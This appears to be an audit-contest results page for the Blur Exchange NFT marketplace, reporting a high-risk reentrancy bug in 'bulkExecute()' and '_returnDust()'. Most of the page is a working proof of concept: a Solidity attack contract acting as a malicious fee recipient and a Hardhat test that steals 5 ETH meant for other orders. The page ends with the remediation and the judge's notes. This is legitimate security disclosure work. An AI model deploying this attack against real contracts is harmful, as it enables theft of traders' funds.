Blur Exchange contest - KingNFT's results

An NFT exchange.

General Information

Platform: Code4rena

Start Date: 11/11/2022

Pot Size: $36,500 USDC

Total HM: 5

Participants: 62

Period: 3 days

Judge: berndartmueller

Id: 181

League: ETH

Blur Exchange

Findings Distribution

Researcher Performance

Rank: 13/62

Findings: 1

Award: $612.43

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: 0xdeadbeef0x

Also found by: KingNFT, Koolex, Lambda, Trust, V_B, adriro, bin2chen, datapunk, hihen, philogy, rotcivegaf, wait

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-96

Awards

612.4275 USDC - $612.43

External Links

Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168 https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L212

Vulnerability details

Impact

The 'bulkExecute()' and '_returnDust()' functions are susceptible to reentrancy attack. Seller can exploit it to steal ETH which is for other orders of the bulk.

Proof of Concept

Key steps for successful attack

(1) set fee rate to 100% (2) reentrancy call 'bulkExecute()' in 'receive()' of feeRecipient contract with zero length 'Execution' array as parameter

The working attack contract and test case: Put the following attack contract to a new 'BadFeeRecipient.sol' file of 'contracts' directory.

// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import { Execution } from "./lib/OrderStructs.sol"; interface IBulkExecute { function bulkExecute(Execution[] calldata executions) external payable; } contract BadFeeRecipient { address immutable private _exchange; address immutable private _owner; constructor (address exchange) { _exchange = exchange; _owner = msg.sender; } function withdraw(address to) external { require(msg.sender == _owner && to != address(0)); (bool success,) = payable(to).call{value: address(this).balance}(""); require(success); } receive() external payable { _attack(); } function _attack() private { if (msg.sender != _exchange) return; if (_exchange.balance == 0) return; Execution[] memory executions = new Execution[](0); IBulkExecute(_exchange).bulkExecute{value: 1}(executions); } }

Put the following test script to a new 'exploitBulkExecute.test.ts' file of 'tests' directory

import hre from 'hardhat'; import { expect } from 'chai'; import { ethers, Wallet, Contract, BigNumber, Signer } from 'ethers'; import { waitForTx, getRequiredEnv, deploy } from '../web3-utils'; import { eth, Order, setupTest } from './exchange'; import { Side, ZERO_ADDRESS } from './exchange/utils'; import type { CheckBalances, GenerateOrder, SetupExchangeFunction, SetupExchangeOpts, SetupExchangeResult } from './exchange'; import { deployFull, deployPool } from '../scripts/deploy'; async function setBalance(address: string, value: string) { await hre.network.provider.send('hardhat_setBalance', [address, value]); } export async function deployBadFeeRecipient(exchange: any): Promise<Contract> { return await deploy('BadFeeRecipient', [exchange], {}, 'BadFeeRecipient'); } async function setupExchange({ admin, }: SetupExchangeOpts): Promise<SetupExchangeResult> { await hre.network.provider.request({ method: 'hardhat_reset', params: [ { forking: { jsonRpcUrl: `https://mainnet.infura.io/v3/${getRequiredEnv( 'INFURA_API_KEY', )}`, }, }, ], }); const result = await deployFull(admin.address, 5, 'TestExchange'); const pool = await deployPool(); return { ...result, admin, oracle: admin, pool }; } describe('Exploit Test', function () { const INVERSE_BASIS_POINT = 10_000; const price: BigNumber = eth('1'); let feeRate = 300; let exchange: Contract; let attacker: Contract; let executionDelegate: Contract; let matchingPolicies: Record<string, Contract>; let admin: Wallet; let alice: Wallet; let bob: Wallet; let thirdParty: Wallet; let weth: Contract; let pool: Contract; let mockERC721: Contract; let mockERC1155: Contract; let sell: Order; let sellInput: any; let buy: Order; let buyInput: any; let otherOrders: Order[]; let fee: BigNumber; let priceMinusFee: BigNumber; let tokenId: number; let aliceBalance: BigNumber; let aliceBalanceWeth: BigNumber; let aliceBalancePool: BigNumber; let bobBalance: BigNumber; let bobBalanceWeth: BigNumber; let bobBalancePool: BigNumber; let feeRecipientBalance: BigNumber; let feeRecipientBalanceWeth: BigNumber; let feeRecipientBalancePool: BigNumber; let expectedAliceBalance: BigNumber; let expectedAliceBalanceWeth: BigNumber; let expectedAliceBalancePool: BigNumber; let expectedBobBalance: BigNumber; let expectedBobBalanceWeth: BigNumber; let expectedBobBalancePool: BigNumber; let expectedFeeRecipientBalance: BigNumber; let expectedFeeRecipientBalanceWeth: BigNumber; let expectedFeeRecipientBalancePool: BigNumber; let tx: any; let generateOrder: GenerateOrder; const checkBalances = async ( aliceEth: any, aliceWeth: any, alicePool: any, bobEth: any, bobWeth: any, bobPool: any, feeRecipientEth: any, feeRecipientWeth: any, feeRecipientPool: any, ) => { expect(await alice.getBalance()).to.be.equal(aliceEth); expect(await weth.balanceOf(alice.address)).to.be.equal(aliceWeth); expect(await pool.balanceOf(alice.address)).to.be.equal(alicePool); expect(await bob.getBalance()).to.be.equal(bobEth); expect(await weth.balanceOf(bob.address)).to.be.equal(bobWeth); expect(await pool.balanceOf(bob.address)).to.be.equal(bobPool); expect( await (admin.provider as ethers.providers.Provider).getBalance( attacker.address, ), ).to.be.equal(feeRecipientEth); expect(await weth.balanceOf(thirdParty.address)).to.be.equal( feeRecipientWeth, ); expect(await pool.balanceOf(thirdParty.address)).to.be.equal( feeRecipientPool, ); }; const updateBalances = async () => { aliceBalance = await alice.getBalance(); aliceBalanceWeth = await weth.balanceOf(alice.address); aliceBalancePool = await pool.balanceOf(alice.address); bobBalance = await bob.getBalance(); bobBalanceWeth = await weth.balanceOf(bob.address); bobBalancePool = await pool.balanceOf(bob.address); feeRecipientBalance = await admin.provider.getBalance(attacker.address); feeRecipientBalanceWeth = await weth.balanceOf(thirdParty.address); feeRecipientBalancePool = await pool.balanceOf(thirdParty.address); expectedAliceBalance = aliceBalance; expectedAliceBalanceWeth = aliceBalanceWeth; expectedAliceBalancePool = aliceBalancePool; expectedBobBalance = bobBalance; expectedBobBalanceWeth = bobBalanceWeth; expectedBobBalancePool = bobBalancePool; expectedFeeRecipientBalance = feeRecipientBalance; expectedFeeRecipientBalanceWeth = feeRecipientBalanceWeth; expectedFeeRecipientBalancePool = feeRecipientBalancePool; }; const setup = async () => { return setupTest({ price, feeRate, setupExchange, }); } before(async () => { ({ admin, alice, bob, thirdParty, weth, pool, matchingPolicies, mockERC721, mockERC1155, tokenId, exchange, executionDelegate, generateOrder } = await setup()); attacker = await deployBadFeeRecipient(exchange.address); }); describe('exploit bulk execute', () => { let executions: any[]; let value: BigNumber; beforeEach(async () => { await updateBalances(); const _executions = []; value = BigNumber.from(0); tokenId += 3; feeRate = INVERSE_BASIS_POINT; for (let i = tokenId; i < tokenId + 3; i++) { await mockERC721.mint(alice.address, i); const _price = eth(`${i - tokenId + 1}`); const _sell = generateOrder(alice, { side: Side.Sell, tokenId: i, paymentToken: ZERO_ADDRESS, price: _price, fees: [ { rate: feeRate, // @audit set to 100% recipient: attacker.address, // @audit set to attack contract }, ], }); const _buy = generateOrder(bob, { side: Side.Buy, tokenId: i, paymentToken: ZERO_ADDRESS, }); _executions.push({ sell: await _sell.packNoOracleSig(), buy: await _buy.packNoSigs(), }); value = value.add(_price); } executions = _executions; }); afterEach(async () => { if (tx) { const gasFee = tx.gasUsed.mul(tx.effectiveGasPrice); if (tx.from.toLowerCase() === alice.address.toLowerCase()) { expectedAliceBalance = expectedAliceBalance.sub(gasFee); } if (tx.from.toLowerCase() === bob.address.toLowerCase()) { expectedBobBalance = expectedBobBalance.sub(gasFee); } await checkBalances( expectedAliceBalance, expectedAliceBalanceWeth, expectedAliceBalancePool, expectedBobBalance, expectedBobBalanceWeth, expectedBobBalancePool, expectedFeeRecipientBalance, expectedFeeRecipientBalanceWeth, expectedFeeRecipientBalancePool, ); } }); describe('steal ETH which is for other orders of the bulk', () => { it('price 1+2+3 ETH, sending 6 ETH, 1 ETH swapped, 0 ETH return, 5 ETH stolen', async () => { exchange = exchange.connect(bob); tx = await waitForTx( exchange.connect(bob).bulkExecute(executions, { value }), ); expect(await mockERC721.ownerOf(tokenId)).to.be.equal(bob.address); expect(await mockERC721.ownerOf(tokenId + 1)).to.be.equal(alice.address); expect(await mockERC721.ownerOf(tokenId + 2)).to.be.equal(alice.address); expectedAliceBalance = aliceBalance; expectedBobBalance = bobBalance.sub(eth('6')); expectedFeeRecipientBalance = feeRecipientBalance.add(eth('6')); }); }); }); } );

Run

yarn hardhat text .\tests\exploitBulkExecute.test.ts

It will pass.

Tools Used

VS Code

Move 'reentrancyGuard' modifier from '_execute()' to 'execute()' and 'bulkExecute()'.

#0 - c4-judge

2022-11-16T14:18:19Z

berndartmueller marked the issue as duplicate of #96

#1 - c4-judge

2022-11-16T14:18:32Z

berndartmueller marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter